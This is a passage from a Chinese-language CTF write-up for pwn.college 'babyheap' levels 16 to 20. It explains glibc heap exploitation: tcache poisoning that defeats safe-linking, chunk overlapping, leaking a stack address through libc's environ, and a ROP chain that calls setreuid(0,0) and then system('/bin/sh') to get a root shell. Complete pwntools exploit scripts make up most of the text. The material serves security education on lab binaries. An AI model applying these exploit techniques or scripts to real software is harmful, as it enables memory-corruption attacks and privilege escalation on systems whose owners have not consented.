p.sendline(b"scanf 1" ) p.sendline(p64(next_mem_to_write)) p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " ) p.sendline(b"malloc 1 32" ) p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " ) p.sendline(b"malloc 0 32" ) p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " ) p.sendline(b"malloc 2 32" ) p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " ) p.sendline(b"free 2" ) p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " ) p.sendline(b"puts 2" ) p.recvuntil(b"Data: " ) en_secret = u64(p.recv(8 )) secret = heap_base_addr >> 12 ^ en_secret secret = 0x437f30 >> 12 ^ secretprint ("secret:" , hex (secret)) p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " ) p.sendline(b"send_flag" ) p.recvuntil(b"Secret: " ) p.sendline(p64(secret)+p8(0x0 )*8 ) p.interactive()
level16.1 改secret的地址即可。
level17.0 由于开启了safe-linking,所以按照之前的思路:通过malloc
出ret_address
的地址,然后再scanf
将win
函数的地址写入,最后quit
,这个思路行不通。首先第一点ret_address
是无法进行malloc
的,因为地址没对齐,结尾不为0。其次,malloc
出rbp
的地址,再覆盖rbp
和ret_address
也是行不通的,因为这种情况下,chunk_size
会变成canary
,而canary是一个极大的数,所以malloc会失败(因为malloc前会有一个malloc_usable_size()
检测,不可能malloc
出canary大小的chunk)。
注意[leak]
中栈的地址,它实际上是一个ptr,并且puts也会访问这个ptr中保存地址,以打印数据。
那么,如果我们申请到ptr[0]
的TCACHE BIN,然后再scanf
这个chunk,修改其中的数据为canary
的地址,那么相应的就是修改ptr[0]
所保存的地址。请看:
1 2 3 4 5 pwndbg > tele rsp+0 x3000 :0000 │-110 0 x7ffd62e302c0 —▸ 0 x7ffd62e303c8 ◂— 0 xcf40c6b6d8f0420001 :0008 │-108 0 x7ffd62e302c8 ◂— 0 x002 :0010 │-100 0 x7ffd62e302d0 —▸ 0 x5749ff0632f0 ◂— 0 x7ff8167cf2a303 :0018 │-0 f8 0 x7ffd62e302d8 —▸ 0 x7ffd62e302c0 —▸ 0 x7ffd62e303c8 ◂— 0 xcf40c6b6d8f04200
0x7ffd62e302c0
是&ptr[0]
,什么都没做的情况下,它所存储的值应当为TCACHE BIN的值,也就是heap的地址,即ptr[0]=&heap
。但是,当我们通过修改BIN的next
为ptr[0]
并把它malloc
出来,那么使得ptr[3]
中保存着ptr[0]
的地址,即ptr[3]=&ptr[0]
然后我们通过scanf
向ptr[0]
中写入数据canary
的地址。这样就使得ptr[0]=&canary
,通过puts(ptr[0])
时,即可将canary泄露出来。达成上述情形
那么进一步想一下,既然可以形成利用ptr[3]
写ptr[0]
的情况,那么我们可以把这里的&canary
换成&ret
,然后直接scanf 0
写入win_Addr
。
先通过写next
使得ptr[3]
指向ptr[0]
,再通过scanf
写ptr[3]
中保存的地址ptr[0]
,使得原ptr[0]
由指向heap
区变为指向ret_addr
,然后通过scanf写ptr[0]
中保存的地址ret_addr
覆盖为win_addr
。
思路如上,exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import * context.arch = "amd64" context.log_level = 'debug' p = process("/challenge/babyheap_level17.0" ) p.recvuntil(b"[LEAK] The local stack address of your allocations is at: " ) alloc_stack = p.recv(14 ) alloc_stack = int (alloc_stack, 16 ) p.recvuntil(b"[LEAK] The address of main is at: " ) main_addr = p.recv(14 ) main_addr = int (main_addr, 16 ) ret_addr = alloc_stack + 0x118 win_addr = main_addr - 0x1b1b + 0x1a00 p.recvuntil(b"[*] Function (malloc/free/puts/scanf/quit):" ) p.sendline(b"malloc 0 32" ) p.recvuntil(b"[*] Function (malloc/free/puts/scanf/quit):" ) p.sendline(b"malloc 1 32" ) p.recvuntil(b"[*] Function (malloc/free/puts/scanf/quit):" ) p.sendline(b"free 0" ) p.recvuntil(b"[*] Function (malloc/free/puts/scanf/quit):" ) p.sendline(b"puts 0" ) p.recvuntil(b"Data: " ) en_next_mem = u64(p.recvline().strip(b"\n" ).ljust(8 , b"\x00" ))print ("en_next: " , hex (en_next_mem)) heap_base_addr = en_next_mem << 12 p.recvuntil(b"[*] Function (malloc/free/puts/scanf/quit):" ) p.sendline(b"free 1" ) p.recvuntil(b"[*] Function (malloc/free/puts/scanf/quit):" ) p.sendline(b"scanf 1" ) p.recvuntil(b"Index: " ) p.sendline(p64(alloc_stack ^ (heap_base_addr >> 12 ))) p.recvuntil(b"[*] Function (malloc/free/puts/scanf/quit):" ) p.sendline(b"malloc 2 32" ) p.recvuntil(b"[*] Function (malloc/free/puts/scanf/quit):" ) p.sendline(b"malloc 3 32" ) p.recvuntil(b"[*] Function (malloc/free/puts/scanf/quit):" ) p.sendline(b"scanf 3" ) p.recvuntil(b"Index: " ) p.sendline(p64(ret_addr)) p.recvuntil(b"[*] Function (malloc/free/puts/scanf/quit):" ) p.sendline(b"scanf 0" ) p.recvuntil(b"Index: " ) p.sendline(p64(win_addr)) p.recvuntil(b"[*] Function (malloc/free/puts/scanf/quit):" ) p.sendline(b"quit" ) p.interactive()
level17.1 改偏移
level18.0 exp不用改,还是level13.0的exp。safe-linking不影响我们在栈上构造fake chunk。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import * context.arch = "amd64" context.log_level = 'debug' p = process("/challenge/babyheap_level18.0" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): " , b"stack_scanf" ) p.sendline(b"a" *48 + p64(0x101 ) + p64(0x101 )) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): " , b"stack_free" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): " , b"malloc 0 248" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): " , b"scanf 0" ) p.sendlineafter(b"Index: " , b"a" *256 ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): " , b"send_flag" ) p.sendlineafter(b"Secret: " , b"a" *16 ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): " , b"quit" ) p.interactive() p.interactive()
level19.0 free
操作后,会使得ptr[]
置0。这里发现每次malloc时,会指定read/write
能够操作的size,这里正好是16个字节。因此能够控制下一个chunk header中的PrevSize,Size和user_data 。
1 2 ptr[v6] = malloc (size); nbytes[v6] = size + 16 ;
Chunk Overlapping ,具体可见Chunk Extend and Overlapping - CTF Wiki
在ptmalloc
中,获取下一chunk块地址的操作如下:
1 2 #define next_chunk(p) ((mchunkptr)(((char *) (p)) + chunksize(p)))
即使用当前块指针加上当前块大小。
在ptmalloc
中,获取前一chunk块信息的操作如下:
1 2 3 4 5 #define prev_size(p) ((p)->mchunk_prev_size) #define prev_chunk(p) ((mchunkptr)(((char *) (p)) - prev_size(p)))
即通过malloc_chunk->prev_size
获取前一chunk块大小,然后使用当前块指针减去前一块大小。
在ptmalloc
中,判断当前chunk是否是use状态的操作如下:
1 2 #define inuse(p) ((((mchunkptr)(((char *) (p)) + chunksize(p)))->mchunk_size) & PREV_INUSE)
即查看下一chunk的prev_inuse
域。
当然这里仅是对内存复用的理解,具体可分析:
1 2 3 4 5 6 0x00000000 : [ Chunk A 的 prev_size ] // 0 (前一个 chunk 在使用,此字段无效)0x00000008 : [ Chunk A 的 size ] // 0x41(56+8 =64 =0 x40,PREV_INUSE=1 → 0 x41)0x00000010 : [ Chunk A 的用户数据 ] // 56 字节(实际占用 0x10~0x47 )0x00000048 : [ Chunk B 的 prev_size ] // 位于 A 的用户数据末尾(0x40~0x47 )0x00000050 : [ Chunk B 的 size ] // 0 x41(假设 B 空闲)0x00000058 : [ Chunk B 的 fd/bk ] // 空闲时用于链表指针
Chunk A的用户数据的最后8个字节存储着Chunk B的prev_size
,因此这里可多写16
字节能够覆盖Chunk B的用户数据前8个字节,而这8个字节在free后正好是next
字段。
思路是:先malloc
三个chunk,然后free
后两个,但是需要先free
第三个再free
第二个,因为第二个chunk和第一个chunk相邻,这样我们才能通过safe_read
覆盖BIN的next
。
覆盖next
字段使其为第一个chunk的地址(注意safe-linking),因为我们没有将其free
,所以后续可以通过safe_write
将flag输出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import * context.arch = "amd64" context.log_level = 'debug' p = process("/challenge/babyheap_level19.0" ) p.recvuntil(b"[*] Function (malloc/free/read_flag/safe_write/safe_read/quit): " ) p.sendline(b"malloc 0 32" ) p.recvuntil(b"[*] Function (malloc/free/read_flag/safe_write/safe_read/quit): " ) p.sendline(b"free 0" ) p.recvuntil(b"[*] Function (malloc/free/read_flag/safe_write/safe_read/quit): " ) p.sendline(b"malloc 0 32" ) p.recvuntil(b"[*] Function (malloc/free/read_flag/safe_write/safe_read/quit): " ) p.sendline(b"safe_write 0" ) p.recvuntil(b"Index: " ) p.recvline() p.recvline() en_next_mem = u64(p.recv(5 ).ljust(8 ,b"\x00" ))print ("en_next: " , hex (en_next_mem)) heap_base_addr = en_next_mem << 12 p.recvuntil(b"[*] Function (malloc/free/read_flag/safe_write/safe_read/quit): " ) p.sendline(b"malloc 1 632" ) p.recvuntil(b"[*] Function (malloc/free/read_flag/safe_write/safe_read/quit): " ) p.sendline(b"malloc 2 632" ) p.recvuntil(b"[*] Function (malloc/free/read_flag/safe_write/safe_read/quit): " ) p.sendline(b"malloc 3 632" ) p.recvuntil(b"[*] Function (malloc/free/read_flag/safe_write/safe_read/quit): " ) p.sendline(b"free 3" ) p.recvuntil(b"[*] Function (malloc/free/read_flag/safe_write/safe_read/quit): " ) p.sendline(b"free 2" ) p.recvuntil(b"[*] Function (malloc/free/read_flag/safe_write/safe_read/quit): " ) p.sendline(b"safe_read 1" ) p.recvuntil(b"Index: " ) p.send(b"a" *0x278 + p64(0x278 ) + p64((heap_base_addr >> 12 ) ^ (heap_base_addr + 0x8e0 ))) p.recvuntil(b"[*] Function (malloc/free/read_flag/safe_write/safe_read/quit): " ) p.sendline(b"malloc 2 632" ) p.recvuntil(b"[*] Function (malloc/free/read_flag/safe_write/safe_read/quit): " ) p.sendline(b"read_flag" ) p.recvuntil(b"[*] Function (malloc/free/read_flag/safe_write/safe_read/quit): " ) p.sendline(b"safe_write 1" ) p.interactive()
level19.1 去掉一个p.recvline()
,修改malloc的大小,记住一个TCACHE BIN的包含CHUNK的user_data大小范围为[16(i+1) - 8 + 1, 16(i + 2) - 8], {i=1,2,…63}
level20.0 这题的api有:[*] Function (malloc/free/safe_write/safe_read/quit):
我们依然可以任意写chunk,但是这题没有相应的flag api和win函数,因此需要进行ROP。
需要泄露heap基地址,使得我们能够通过写next
段到任意地址。需要泄露stack地址,使得我们将next
段覆盖为main返回地址存储在栈上的地址,然后构造ROP链拿到shell。
heap基地址的泄露前面已经做过了,关于stack地址的泄露有一个技巧:通过 environ
环境变量泄露栈地址。
environ
是 glibc
定义的全局变量(类型为 char **
),存储了程序所有环境变量的指针数组的地址。环境变量(如 PATH
、USER
等)位于 栈空间的高地址区域 ,因此 environ
的值本质上是 栈上的一个地址 。
关于environ
变量的地址:
1 2 3 4 5 6 7 8 pwndbg> p &environ$1 = (<data variable, no debug info > *) 0x7513efb90200 <environ> pwndbg> vmmap 0x7513efb90200 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA Start End Perm Size Offset File 0x7513efb88000 0x7513efb8a000 rw-p 2000 218000 /challenge/lib/libc.so.6 ► 0x7513efb8a000 0x7513efb99000 rw-p f000 0 [anon_7513efb8a] +0x6200 0x7513efb99000 0x7513efb9b000 r
libc中有一个environ变量存储了stack地址;因此,得知libc基址也就等于得知了stack地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 pwndbg> p &environ$1 = (<data variable, no debug info> *) 0x760378a50200 <environ> pwndbg> vmmap 0x760378a50200 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA Start End Perm Size Offset File 0x760378a48000 0x760378a4a000 rw-p 2000 218000 /challenge/lib/libc. so.6 ► 0x760378a4a000 0x760378a59000 rw-p f000 0 [anon_760378a4a] +0x6200 0x760378a59000 0x760378a5b000 r--p 2000 0 /challenge/lib/ld-linux-x86-64. so.2 pwndbg> vmmapLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA Start End Perm Size Offset File 0x56629bc53000 0x56629bc54000 r--p 1000 0 /challenge/babyheap_level20.0 0x56629bc54000 0x56629bc56000 r-xp 2000 1000 /challenge/babyheap_level20.0 0x56629bc56000 0x56629bc57000 r--p 1000 3000 /challenge/babyheap_level20.0 0x56629bc57000 0x56629bc58000 r--p 1000 3000 /challenge/babyheap_level20.0 0x56629bc58000 0x56629bc59000 rw-p 1000 4000 /challenge/babyheap_level20.0 0x56629bc59000 0x56629bc5a000 rw-p 1000 6000 /challenge/babyheap_level20.0 0x56629bc5a000 0x56629bc5b000 rw-p 1000 7000 /challenge/babyheap_level20.0 0x56629c446000 0x56629c467000 rw-p 21000 0 [heap] 0x76037882c000 0x76037882f000 rw-p 3000 0 [anon_76037882c] 0x76037882f000 0x760378857000 r--p 28000 0 /challenge/lib/libc. so.6 0x760378857000 0x7603789ec000 r-xp 195000 28000 /challenge/lib/libc. so.6 0x7603789ec000 0x760378a44000 r--p 58000 1bd000 /challenge/lib/libc. so.6 0x760378a44000 0x760378a48000 r--p 4000 214000 /challenge/lib/libc. so.6 0x760378a48000 0x760378a4a000 rw-p 2000 218000 /challenge/lib/libc. so.6 0x760378a4a000 0x760378a59000 rw-p f000 0 [anon_760378a4a] 0x760378a59000 0x760378a5b000 r--p 2000 0 /challenge/lib/ld-linux-x86-64. so.2 0x760378a5b000 0x760378a85000 r-xp 2a000 2000 /challenge/lib/ld-linux-x86-64. so.2 0x760378a85000 0x760378a90000 r--p b000 2c000 /challenge/lib/ld-linux-x86-64. so.2 0x760378a91000 0x760378a93000 r--p 2000 37000 /challenge/lib/ld-linux-x86-64. so.2 0x760378a93000 0x760378a95000 rw-p 2000 39000 /challenge/lib/ld-linux-x86-64. so.2 0x7ffcd6feb000 0x7ffcd700c000 rw-p 21000 0 [stack] 0x7ffcd70d3000 0x7ffcd70d7000 r--p 4000 0 [vvar] 0x7ffcd70d7000 0x7ffcd70d9000 r-xp 2000 0 [vdso]0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall] pwndbg> p/x 0x760378a50200 -0x76037882f000 $2 = 0x221200
利用libc_base_addr
拿到environ变量的地址。然后再通过写next,拿到stack_addr
。
拿到stack_addr
后根据偏移算出ret_addr
。最后构造ROP链,将其通过safe_read
写入其中。最后quit即可拿到Shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 from pwn import * context.arch = "amd64" context.log_level = 'debug' p = process("/challenge/babyheap_level20.0" ) libc = ELF("/challenge/lib/libc.so.6" )def malloc (idx,size ): p.recvuntil(b"[*] Function (malloc/free/safe_write/safe_read/quit): " ) p.sendline(b"malloc" ) p.recvuntil(b"Index: " ) p.sendline(str (idx).encode()) p.recvuntil(b"Size: " ) p.sendline(str (size).encode())def free (idx ): p.recvuntil(b"[*] Function (malloc/free/safe_write/safe_read/quit): " ) p.sendline(b"free" ) p.recvuntil(b"Index: " ) p.sendline(str (idx).encode())def safe_write (idx ): p.recvuntil(b"[*] Function (malloc/free/safe_write/safe_read/quit): " ) p.sendline(b"safe_write" ) p.recvuntil(b"Index: " ) p.sendline(str (idx).encode())def safe_read (idx,content ): p.recvuntil(b"[*] Function (malloc/free/safe_write/safe_read/quit): " ) p.sendline(b"safe_read" ) p.recvuntil(b"Index: " ) p.sendline(str (idx).encode()) sleep(0.1 ) p.send(content) malloc(0 , 0x20 ) free(0 ) malloc(0 , 0x20 ) safe_write(0 ) p.recvline() p.recvline() en_next_mem = u64(p.recv(5 ).ljust(8 ,b'\x00' ))print ("en_next: " , hex (en_next_mem)) heap_base_addr = en_next_mem << 12 malloc(0 , 0x38 ) malloc(1 , 0x38 ) malloc(2 , 0x38 ) free(2 ) free(1 ) safe_read(0 , b'a' *0x38 + p64(0x41 ) + p64((heap_base_addr >> 12 ) ^ (heap_base_addr + 0x340 ))) malloc(1 , 0x38 ) malloc(3 , 0x38 ) safe_read(3 ,b'a' *0x18 ) safe_write(3 ) p.recvline() p.recvline() p.recv(0x18 ) libc_base = u64(p.recv(6 ).ljust(8 ,b'\x00' )) - 0x21a6a0 print ("libc_base_addr:" ,hex (libc_base)) environ_addr = libc_base + 0x221200 malloc(0 , 0x38 ) malloc(1 , 0x38 ) malloc(2 , 0x38 ) free(2 ) free(1 ) safe_read(0 , b'a' *0x38 + p64(0x41 ) + p64((heap_base_addr >> 12 ) ^ environ_addr)) malloc(1 , 0x38 ) malloc(3 , 0x38 ) safe_write(3 ) p.recvline() p.recvline() stack_addr = u64(p.recv(6 ).ljust(8 ,b'\x00' ))print ("stack_addr:" ,hex (stack_addr)) ret_addr = stack_addr-0x120 print ("ret_addr:" ,hex (ret_addr)) malloc(0 , 0x38 ) malloc(1 , 0x38 ) malloc(2 , 0x38 ) free(2 ) free(1 ) safe_read(0 , b'a' *0x38 + p64(0x41 ) + p64((heap_base_addr >> 12 ) ^ (ret_addr - 0x8 ))) malloc(1 , 0x38 ) malloc(3 , 0x38 ) libc.address = libc_base sys_addr = libc.symbols['system' ] binsh_addr = next (libc.search(b'/bin/sh' )) setreuid_addr = libc.symbols['setreuid' ]print ("setreuid_addr" , hex (setreuid_addr))print ("binsh_addr" , hex (binsh_addr)) rop = ROP(libc) ruid = 0 euid = 0 rop.raw(rop.rdi) rop.raw(ruid) rop.raw(rop.rsi) rop.raw(euid) rop.raw(setreuid_addr) rop.raw(rop.rdi) rop.raw(binsh_addr) rop.raw(sys_addr) safe_read(3 , p64(0xdeadbeef ) + rop.chain()) p.recvuntil(b"[*] Function (malloc/free/safe_write/safe_read/quit): " ) p.sendline(b'quit' ) p.interactive()
level20.1 改下heap区的libc泄露偏移即可。还有删下p.recvline()
Dynamic Allocator Misuse 完结撒花~